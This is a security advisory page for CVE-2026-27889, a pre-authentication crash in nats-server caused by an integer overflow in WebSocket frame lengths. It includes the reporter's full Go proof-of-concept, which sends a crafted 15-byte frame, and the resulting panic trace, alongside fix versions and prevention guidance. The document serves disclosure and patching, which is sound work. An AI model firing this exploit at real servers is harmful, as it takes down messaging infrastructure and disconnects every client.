GHSA-pq2q-rcw4-3hr6 BIT-nats-2026-27889 CVE-2026-27889 GO-2026-4841
NATS: Pre-auth remote server crash via WebSocket frame length overflow in wsRead
- Severity
- 7.5 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.59%
- Chance of exploitation in the next 30 days. Higher than 48.35% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-190 Integer Overflow or Wraparound
- Fix
2.11.14- Upgrade github.com/nats-io/nats-server/v2 to this version or later
Description
Background
NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.
When using WebSockets, a malicious client can trigger a server crash with crafted frames, before authentication.
Problem Description
A missing sanity check on a WebSockets frame could trigger a server panic in the nats-server. This happens before authentication, and so is exposed to anyone who can connect to the websockets port.
Affected versions
Version 2 from v2.2.0 onwards, prior to v2.11.14 or v2.12.5
Workarounds
This only affects deployments which use WebSockets and which expose the network port to untrusted end-points. If able to do so, a defense in depth of restricting either of these will mitigate the attack.
Solution
Upgrade the NATS server to a fixed version.
Credits
This was reported to the NATS maintainers by GitHub user Mistz1. Also independently reported by GitHub user jiayuqi7813.
Report by @Mistz1
Summary
An unauthenticated remote attacker can crash the entire nats-server process by sending a single malicious WebSocket frame (15 bytes after the HTTP upgrade handshake). The server fails to validate the RFC 6455 §5.2 requirement that the most significant bit of a 64-bit extended payload length must be zero. The resulting uint64 → int conversion produces a negative value, which bypasses the bounds clamp and triggers an unrecovered panic in the connection's goroutine — killing the entire server process and disconnecting all clients. This affects all platforms (64-bit and 32-bit).
Details
Vulnerable code: server/websocket.go line 278
r.rem = int(binary.BigEndian.Uint64(tmpBuf))
When a WebSocket frame uses the 64-bit extended payload length (length code 127), the server reads 8 bytes and casts the raw uint64 directly to int with no validation. RFC 6455 §5.2 states: "the most significant bit MUST be 0" — but nats-server never checks this.
Attack chain:
-
The attacker sends a WebSocket frame with the MSB set in the 64-bit length field (e.g.,
0x8000000000000001). -
At line 278,
int(0x8000000000000001)produces-9223372036854775807on 64-bit Go (two's complement reinterpretation — Go does not panic on integer conversion overflow). -
r.remis now negative. At line 307–311, the bounds clamp fails:n = r.rem // n = -9223372036854775807 if pos+n > max { // 14 + (-huge) = negative, NOT > max → FALSE n = max - pos // clamp NEVER fires } b = buf[pos : pos+n] // buf[14 : -9223372036854775793] → PANICThe addition
pos + nwraps to a negative value (Go signed integer overflow is defined behavior — it wraps silently). Since the negative result is never greater thanmax, the clamp is skipped. The slice expression at line 311 reaches the Go runtime bounds check, which panics. -
There is no
defer recover()anywhere in the goroutine chain:startGoRoutine:go func() { f() }()— no recoveryreadLoop: defer only does cleanup — no recovery
The unrecovered panic propagates to Go's runtime, which calls
os.Exit(2). The entire nats-server process terminates. -
The WebSocket frame is parsed in
wsRead()called fromreadLoop(), which starts immediately after the HTTP upgrade — before any NATS CONNECT authentication. No credentials are required.
Why 15 bytes, not 14: The 14-byte frame header (opcode + length + mask key) exactly fills the read buffer on the first call, so pos == max and the payload loop at line 303 (if pos < max) is skipped. The poisoned r.rem persists in the wsReadInfo struct. One additional byte of "payload" is needed so that pos < max on either the same or next read, entering the panic path at line 311.
PoC
Server configuration (test-ws.conf):
listen: 127.0.0.1:4222
websocket {
listen: "127.0.0.1:9222"
no_tls: true
}
Start the server:
nats-server -c test-ws.conf
Exploit (poc_ws_crash.go):
package main
import (
"bufio"
"encoding/binary"
"fmt"
"net"
"net/http"
"os"
"time"
)
func main() {
target := "127.0.0.1:9222"
if len(os.Args) > 1 {
target = os.Args[1]
}
fmt.Printf("[*] Connecting to %s...\n", target)
conn, err := net.DialTimeout("tcp", target, 5*time.Second)
if err != nil {
fmt.Printf("[-] Connection failed: %v\n", err)
os.Exit(1)
}
defer conn.Close()
// WebSocket upgrade
req, _ := http.NewRequest("GET", "http://"+target, nil)
req.Header.Set("Upgrade", "websocket")
req.Header.Set("Connection", "Upgrade")
req.Header.Set("Sec-WebSocket-Key", "dGhlIHNhbXBsZSBub25jZQ==")
req.Header.Set("Sec-WebSocket-Version", "13")
req.Header.Set("Sec-WebSocket-Protocol", "nats")
req.Write(conn)
conn.SetReadDeadline(time.Now().Add(5 * time.Second))
resp, err := http.ReadResponse(bufio.NewReader(conn), req)
if err != nil || resp.StatusCode != 101 {
fmt.Printf("[-] Upgrade failed\n")
os.Exit(1)
}
fmt.Println("[+] WebSocket established")
conn.SetReadDeadline(time.Time{})
// Malicious frame: FIN+Binary, MASK+127, 8-byte length with MSB set, mask key, 1 payload byte
frame := make([]byte, 15)
frame[0] = 0x82 // FIN + Binary
frame[1] = 0xFF // MASK + 127 (64-bit length)
binary.BigEndian.PutUint64(frame[2:10], 0x8000000000000001) // MSB set
frame[10] = 0xDE // Mask key
frame[11] = 0xAD
frame[12] = 0xBE
frame[13] = 0xEF
frame[14] = 0x41 // 1 payload byte
fmt.Printf("[*] Sending: %x\n", frame)
conn.Write(frame)
time.Sleep(2 * time.Second)
// Verify crash
conn2, err := net.DialTimeout("tcp", target, 3*time.Second)
if err != nil {
fmt.Println("[!!!] SERVER IS DOWN — full process crash confirmed")
os.Exit(0)
}
conn2.Close()
fmt.Println("[-] Server still running")
}
Run:
go build -o poc_ws_crash poc_ws_crash.go
./poc_ws_crash
Observed server output before termination:
panic: runtime error: slice bounds out of range [:-9223372036854775793]
goroutine 13 [running]:
github.com/nats-io/nats-server/v2/server.(*client).wsRead(...)
server/websocket.go:311 +0xa93
github.com/nats-io/nats-server/v2/server.(*client).readLoop(...)
server/client.go:1434 +0x768
github.com/nats-io/nats-server/v2/server.(*Server).startGoRoutine.func1()
server/server.go:4078 +0x32
Tested against: nats-server v2.14.0-dev (commit a69f51f), Go 1.25.7, linux/amd64.
Impact
Vulnerability type: Pre-authentication remote denial of service (full process crash).
Who is impacted: Any nats-server deployment with WebSocket listeners enabled (websocket { ... } in config), including MQTT-over-WebSocket. This is an increasingly common configuration for browser-based and IoT clients. The attacker needs only TCP access to the WebSocket port — no credentials, no valid NATS client, no TLS client certificate.
Severity: A single unauthenticated TCP connection sending 15 bytes crashes the entire server process. All connected clients (NATS, WebSocket, MQTT, cluster routes, gateways, leaf nodes) are immediately disconnected. JetStream in-flight acknowledgments are lost and Raft consensus is disrupted in clustered deployments. The attack is repeatable on every server restart.
Affected platforms: All — confirmed on 64-bit (linux/amd64); 32-bit platforms (linux/386, linux/arm) are also affected with additional frame-desync consequences.
( NATS retains the original external report below the cut, with exploit details. This issue was also independently reported by GitHub user @jiayuqi7813 before publication; they provided a Python exploit.)
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/nats-io/nats-server | all versions |
No fix yet |
| github.com/nats-io/nats-server/v2 | >= 2.2.0, < 2.11.14 |
2.11.14 |
| github.com/nats-io/nats-server/v2 | >= 2.12.0, < 2.12.5 |
2.12.5 |
| github.com/nats-io/nats-server/v2 | >= 2.2.0, < 2.11.14>= 2.12.0, < 2.12.5 |
2.11.142.12.5 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/nats-io/nats-server/v2 Go → 2.11.14
- go
go get github.com/nats-io/nats-server/v2@v2.11.14 && go mod tidy
Severity breakdown
CVSS 3.1 7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Weakness
CWE-190: Integer Overflow or Wraparound
The product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. This occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may become a very small or negative number.
How to prevent it
- Requirements: Ensure that all protocols are strictly defined, such that all out-of-bounds behavior can be identified simply, and require strict conformance to the protocol.
- Requirements: Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. If possible, choose a language or compiler that performs automatic bounds checking.
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Use libraries or frameworks that make it easier to handle numbers without unexpected consequences. Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++). [REF-106]
- Implementation: Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range. Use unsigned integers where possible. This makes it easier to perform validation for integer overflows. When signed integers are required, ensure that the range check includes minimum values as well as maximum values.
- Implementation: Understand the programming language's underlying representation and how it interacts with numeric calculation (CWE-681). Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how the language handles numbers that are too large or too small for its underlying representation. [REF-7] Also be careful to account for 32-bit, 64-bit, and other potential differences that may affect the numeric representation.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Implementation: Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.
References
Advisories
Packages
Other links
- github.com/nats-io/nats-server/security/advisories/GHSA-pq2q-rcw4-3hr6
- advisories.nats.io/CVE/secnote-2026-03.txt
- access.redhat.com/errata/RHSA-2026:21769
- access.redhat.com/errata/RHSA-2026:22347
- access.redhat.com/errata/RHSA-2026:23345
- access.redhat.com/security/cve/CVE-2026-27889
- bugzilla.redhat.com/show_bug.cgi
- security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-27889.json
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-3f24-pcvm-5jqc NATS has mTLS verify_and_map authentication bypass via incorrect Subject DN matching | Medium | Also affects github.com/nats-io/nats-server |
| GHSA-55h8-8g96-x4hj NATS: Leafnode connections allow spoofing of Nats-Request-Info identity headers | Medium | Also affects github.com/nats-io/nats-server |
| GHSA-pwx7-fx9r-hr4h NATS Server: Incomplete Stripping of Nats-Request-Info Header Allows Identity Spoofing | Medium | Also affects github.com/nats-io/nats-server |
| GHSA-9983-vrx2-fg9c NATS JetStream has an authorization bypass through its Management API | Medium | Also affects github.com/nats-io/nats-server |
| GHSA-8r68-gvr4-jh7j NATS is vulnerable to pre-auth DoS through WebSockets client service | Medium | Also affects github.com/nats-io/nats-server |
| GHSA-vprv-35vv-q339 NATS has pre-auth server panic via leafnode handling | High | Also affects github.com/nats-io/nats-server |
| GHSA-jxxm-27vp-c3m5 NATS allows MQTT clients to bypass ACL checks | Medium | Also affects github.com/nats-io/nats-server |
| GHSA-v722-jcv5-w7mc NATS has MQTT plaintext password disclosure | High | Also affects github.com/nats-io/nats-server |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor